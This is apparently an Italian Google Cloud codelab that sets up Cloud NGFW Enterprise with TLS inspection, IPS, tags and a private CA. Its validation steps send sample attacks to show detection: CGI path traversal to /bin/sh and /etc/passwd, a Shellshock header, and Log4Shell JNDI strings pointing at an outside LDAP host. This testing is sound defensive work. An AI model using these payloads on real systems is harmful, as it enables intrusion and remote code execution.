Codelab aziendale NGFW su Cloud [con ispezione TLS]

1. Introduzione

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, microsegmentazione e copertura pervasiva per proteggere i tuoi workload Google Cloud da attacchi interni ed esterni.

Cloud NGFW offre i seguenti vantaggi:

  • Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione stateful, completamente distribuita e basata su host su ogni workload per abilitare l'architettura di sicurezza Zero Trust.
  • Configurazione e deployment semplificati: Cloud NGFW implementa policy del firewall di rete e gerarchiche che possono essere collegate a un nodo della gerarchia delle risorse. Queste policy offrono un'esperienza firewall coerente in tutta la gerarchia delle risorse Google Cloud.
  • Controllo granulare e microsegmentazione: la combinazione di policy del firewall e tag regolati da Identity and Access Management (IAM) fornisce un controllo granulare per il traffico nord-sud ed est-ovest fino a una singola VM, tra reti Virtual Private Cloud (VPC) e organizzazioni.

Cloud NGFW è disponibile nei seguenti livelli:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise aggiunge al fabric distribuito di Google Cloud Firewall il servizio di prevenzione delle intrusioni (IPS) e le funzionalità facoltative della sandbox avanzata per malware (WildFire), che sono servizi di ispezione di livello 7. L'ispezione TLS è supportata per consentire l'ispezione approfondita e l'analisi dei file per il traffico criptato TLS.

Ora puoi eseguire il deployment di ispezioni affidabili di firewall di nuova generazione (NGFW) di livello 7 con controlli granulari, senza apportare modifiche all'architettura di rete o alle configurazioni di routing.

Per attivare ed eseguire il deployment del controllo del firewall di livello 7 con IPS e sandbox facoltativa per malware avanzato, devi eseguire le seguenti attività:

  • Crea un insieme di endpoint firewall di zona gestiti da Google Cloud (facoltativamente, attiva la sandbox avanzata per malware).
  • Facoltativamente, crea una policy di ispezione TLS.
  • Facoltativamente, crea una configurazione di attendibilità.
  • Associa questi endpoint alle reti Virtual Private Cloud (VPC) in cui hai bisogno del servizio Cloud NGFW Enterprise.
  • Apporta semplici modifiche alle policy del firewall e alle regole firewall esistenti per specificare i profili di sicurezza per la prevenzione delle minacce e la Sandbox avanzata per malware facoltativa per i vari percorsi di traffico.

Policy del firewall di rete

La policy del firewall di rete funge da container per le regole firewall. Le regole definite in una policy del firewall di rete non vengono applicate finché la policy non viene associata a una rete VPC. A ogni rete VPC può essere associata una policy del firewall di rete. Le policy del firewall di rete supportano i tag regolati da IAM (o semplicemente i tag) nelle regole firewall, che sostituiscono i tag di rete attuali e possono essere utilizzati per fornire l'identità al workload.

La condivisione di una policy del firewall di rete tra le reti e l'integrazione con i tag gestiti da IAM semplificano notevolmente la configurazione e la gestione dei firewall.

Con l'introduzione della policy del firewall di rete, le policy del firewall di Google Cloud ora sono costituite dai seguenti componenti:

  1. Policy del firewall gerarchica
  2. Regole firewall VPC
  3. Policy del firewall di rete ( globale e regionale)

Le policy del firewall gerarchiche sono supportate nei nodi dell'organizzazione e delle cartelle all'interno della gerarchia delle risorse, mentre le regole del firewall VPC e le policy del firewall di rete vengono applicate a livello di VPC. Una grande differenza tra le regole firewall VPC e le policy del firewall di rete è che le regole firewall VPC possono essere applicate solo a una singola rete VPC, mentre le policy del firewall di rete possono essere associate a un singolo VPC o a un gruppo di VPC, oltre ad altri vantaggi come gli aggiornamenti batch.

Infine, abbiamo anche le regole firewall implicite che vengono fornite con ogni rete VPC:

  • Una regola in uscita la cui azione è allow, la destinazione è 0.0.0.0/0
  • Una regola in entrata la cui azione è deny, l'origine è 0.0.0.0/0

Per impostazione predefinita, la sequenza di applicazione è mostrata nel seguente diagramma:

21b3bcabc469ffe.png

Tieni presente che l'ordine di applicazione tra le regole firewall VPC e la policy del firewall di rete globale può essere invertito. I clienti possono specificare l'ordine di applicazione in qualsiasi momento con un comando gcloud.

Tag

I nuovi tag integrati nelle regole delle policy del firewall di rete sono risorse di coppie chiave-valore definite a livello di organizzazione o di progetto della gerarchia delle risorse Google Cloud. Un tag di questo tipo contiene controlli di accesso IAM che specificano chi può fare cosa sul tag. Ad esempio, le autorizzazioni di Identity and Access Management (IAM) consentono di specificare quali entità possono assegnare valori ai tag e quali possono associare i tag alle risorse. Se una regola firewall di rete fa riferimento a un tag, deve essere applicata a una risorsa per l'applicazione.

I tag rispettano il modello di risorse di ereditarietà di Google Cloud, il che significa che i tag e i relativi valori vengono trasmessi lungo la gerarchia dai relativi elementi principali. Di conseguenza, i tag possono essere creati in un unico posto e poi utilizzati da altre cartelle e progetti in tutta la gerarchia delle risorse. Visita questa pagina per maggiori dettagli sui tag e sulla limitazione di accesso.

I tag non devono essere confusi con i tag di rete. Queste ultime sono stringhe che possono essere aggiunte alle istanze di Compute Engine; sono associate all'istanza e scompaiono quando l'istanza viene dismessa. Le regole firewall VPC possono includere tag di rete, ma poiché non sono considerate risorse cloud, non sono soggette al controllo degli accessi IAM.

Tieni presente che in questo documento i termini Tag e Tag regolati da IAM vengono utilizzati in modo intercambiabile.

Cosa creerai

Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC, nonché di gestire una serie di risorse di rete e di sicurezza. Dimostrerà come Cloud NGFW Enterprise può fornire funzionalità IPS e di sandbox avanzata per malware (WildFire) tramite:

  • Ispezione dei flussi internet in uscita con l'ispezione TLS
  • Ispezione dei flussi intra-VPC [est-ovest] con ispezione TLS
  • [Facoltativo] Configurazione e convalida dell'invio di file alla sandbox avanzata per malware e della relativa analisi forense per minacce sconosciute basate su file nel traffico ispezionato con TLS

I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, tra cui la tupla di 5 elementi (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione) e i tag.

3d0f288d3b92a295.png

Lo stato finale della base di regole della policy del firewall di rete sarà simile alla tabella seguente:

Priorità

Direzione

Target

Origine

Destinazione

Azione

Tipo

100

In entrata

Server_Tag

Controlli di integrità

Qualsiasi

Consenti

Essentials

200

In entrata

Client_Tag, Server_Tag

IAP

Qualsiasi

Consenti

Essentials

800

In entrata

Server_Tag

10.0.0.0/24

10.0.0.0/24

Ispezione L7

Enterprise

850

In uscita

Client_Tag

Qualsiasi

10.0.0.0/24

Consenti

Essentials

900

In uscita

Client_Tag

Qualsiasi

Qualsiasi

Ispezione L7

Enterprise

Cosa imparerai a fare

  • Come creare una policy del firewall di rete.
  • Come creare e utilizzare i tag con la policy del firewall di rete.
  • Come configurare e utilizzare Cloud NGFW Enterprise con l'ispezione TLS.
  • [Facoltativo] Come configurare e convalidare la sandbox avanzata per malware (WildFire) per minacce sconosciute basate su file.

Che cosa ti serve

  • progetto Google Cloud.
  • Conoscenza del deployment delle istanze e della configurazione dei componenti di networking.
  • Conoscenza della configurazione del firewall VPC.

2. Prima di iniziare

Crea/aggiorna le variabili

Questo codelab utilizza $variables per facilitare l'implementazione della configurazione gcloud in Cloud Shell.

In Cloud Shell, esegui i comandi seguenti sostituendo le informazioni tra parentesi come richiesto:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Abilita API

Se non l'hai ancora fatto, abilita le API:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creazione di endpoint Cloud NGFW Enterprise

Poiché la creazione dell'endpoint Cloud NGFW Enterprise richiede circa 20 minuti, verrà creato per primo e la configurazione di base potrà essere eseguita in parallelo durante la creazione dell'endpoint.

Crea il profilo di sicurezza e il gruppo di profili di sicurezza:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Verifica che le risorse siano state create correttamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea l'endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Esegui il comando seguente per verificare che l'endpoint sia in fase di creazione (CREATING) o ACTIVE se hai utilizzato --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Facoltativamente, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Il processo di creazione richiede circa 20 minuti. Vai alla sezione Configurazione di base per creare le risorse richieste in parallelo.

5. Configurazione di base

Rete e subnet VPC

Rete VPC e subnet

Crea la rete VPC e la subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea il router Cloud e il gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Istanze

Crea le istanze client e server web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tag a livello di progetto

Assegna l'autorizzazione tagAdmin all'utente, se necessario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la chiave e i valori dei tag a livello di progetto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Associa i tag alle istanze:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Policy del firewall di rete globale

Crea una policy del firewall di rete globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea le regole Cloud Firewall Essentials necessarie per consentire il traffico proveniente dagli intervalli di controllo di integrità e Identity-Aware Proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea le regole Cloud Firewall necessarie per consentire il traffico in entrata est-ovest/all'interno della subnet dagli intervalli specifici (queste regole verranno aggiornate per abilitare Cloud NGFW Enterprise con l'ispezione TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associa la policy del firewall cloud alla rete VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Associazione degli endpoint Cloud Firewall

Definisci le variabili di ambiente nel caso in cui non l'avessi ancora fatto e/o preferissi l'approccio con lo script.

Verifica che la creazione dell'endpoint Cloud Firewall sia stata completata correttamente. Procedi solo quando lo stato viene visualizzato come ACTIVE (durante la creazione lo stato previsto è CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare a seconda del client utilizzato):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associa l'endpoint Cloud Firewall alla rete VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

La procedura di associazione richiede circa 10 minuti. Procedi alla sezione TLS solo quando lo stato viene visualizzato come ATTIVO (durante la creazione lo stato previsto è IN FASE DI CREAZIONE):

gcloud network-security firewall-endpoint-associations list

Output previsto al termine:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output previsto:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configura le risorse TLS

Crea un pool CA. Questa risorsa verrà utilizzata per ospitare il certificato CA radice che generiamo per NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la CA radice. Questo è il certificato CA che verrà utilizzato per firmare certificati aggiuntivi per le richieste tramite NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Se viene visualizzato il messaggio seguente, rispondi y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crea un account di servizio. Questo service account verrà utilizzato per richiedere i certificati per NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Imposta le autorizzazioni IAM per il service account:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crea il file YAML della policy TLS. Questo file conterrà informazioni sulle risorse specifiche:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa la policy di ispezione TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aggiorna l'associazione di endpoint per abilitare TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Recupera il certificato CA e aggiungilo all'archivio CA del client:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Trasferisci il certificato CA al client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Accedi alla VM tramite SSH, sposta il certificato CA in /usr/local/share/ca-certificates e aggiorna l'archivio CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Torna a Cloud Shell.

Procedura di firma del certificato del server:

In Cloud Shell, installa la libreria di crittografia Pyca utilizzando il comando pip:

pip install --user "cryptography>=2.2.0"

Per consentire a Google Cloud SDK di utilizzare la libreria di crittografia Pyca, devi abilitare i pacchetti del sito.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea il certificato server:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

In questo modo verranno generati i file cert.pem e key.pem in Cloud Shell. Successivamente, trasferisci il certificato e la chiave al server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Accedi al server tramite SSH per aggiornare i dettagli del certificato per Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Sposta il certificato e la chiave in una cartella specifica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aggiorna la configurazione SSL per utilizzare il certificato firmato:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Riavvia Apache:

sudo systemctl restart apache2

Verifica lo stato di Apache:

sudo systemctl status apache2

Dovrebbe essere attivo (in esecuzione).

Esci dalla VM e continua su Cloud Shell.

8. Convalida la connettività verso nord ed est/ovest

Esegui i comandi riportati di seguito in Cloud Shell e prendi nota degli IP di destinazione da utilizzare:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Apri una nuova scheda e avvia una connessione SSH alla VM client tramite IAP (dovrai definire le variabili nella nuova scheda):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Esegui i comandi di seguito e prendi nota degli IP di destinazione da utilizzare. Crea le variabili sostituendo i valori tra parentesi con gli IP annotati nel passaggio precedente e assicurati che siano raggiungibili:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Esegui il comando curl sull'IP privato e assicurati che sia raggiungibile:

curl https://$target_privateip --max-time 2

Risultati previsti per la richiesta curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Inviare attacchi di esempio all'IP. Il server web deve rispondere a tutte le richieste, confermando che non è in atto alcuna ispezione/prevenzione L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Risultati previsti di esempio (IP privato):

400
404
400
200
200

Analogamente, invia richieste a una destinazione internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Risultati previsti di esempio (destinazione internet):

400
404
400
403
403

Esci dal terminale della VM e torna a Cloud Shell.

9. Crea e aggiorna le regole firewall per l'ispezione TLS

In precedenza, abbiamo configurato una regola firewall per consentire il traffico in entrata al nostro server dalla subnet interna. Ora aggiorneremo le regole in entrata esistenti e imposteremo l'azione su apply_security_profile_group. In questo modo verrà abilitata l'ispezione L7 est/ovest con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una nuova regola per ispezionare il traffico in uscita L7 con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una nuova regola per consentire il traffico in uscita per il traffico est/ovest per evitare una doppia ispezione.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Convalida dell'ispezione TLS in entrata

Torna alla scheda della VM client o connettiti di nuovo:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Invia gli attacchi di esempio a una destinazione internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Non vengono ricevute risposte come previsto dall'output di seguito, a conferma che gli attacchi di esempio sono ora bloccati:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Imposta la variabile sull'indirizzo IP del server precedente:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Invia richieste TLS di esempio al server:

curl https://$target_privateip --max-time 2

Output previsto:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Perché questa richiesta non è andata a buon fine? Questo perché il firewall riceve un certificato dal server che non è attendibile. In questo caso, restituirà un certificato autofirmato al client. Per abilitare l'attendibilità, dobbiamo aggiungere il certificato CA come parte di una configurazione di attendibilità.

Torna a Cloud Shell.

11. Configura la configurazione di attendibilità

Ottieni il certificato CA radice e impostalo come variabile con la formattazione corretta.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura il file YAML di configurazione del trust. Questo file contiene i dettagli di attendibilità, ad esempio i certificati CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

I comandi precedenti includevano il certificato della CA radice nell'archivio di attendibilità, poiché il certificato del server è stato firmato utilizzando la CA radice. Ciò significa che il firewall considererà attendibili tutti i certificati che riceve e che sono stati firmati dalla tua CA principale, oltre alle CA pubbliche se la policy TLS ha excludePublicCaSet impostato su false.

Controlla i contenuti della configurazione di attendibilità.

cat trust_config.yaml

Esempio di output:

Presta molta attenzione all'allineamento del rientro del certificato. Deve seguire esattamente questo formato.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
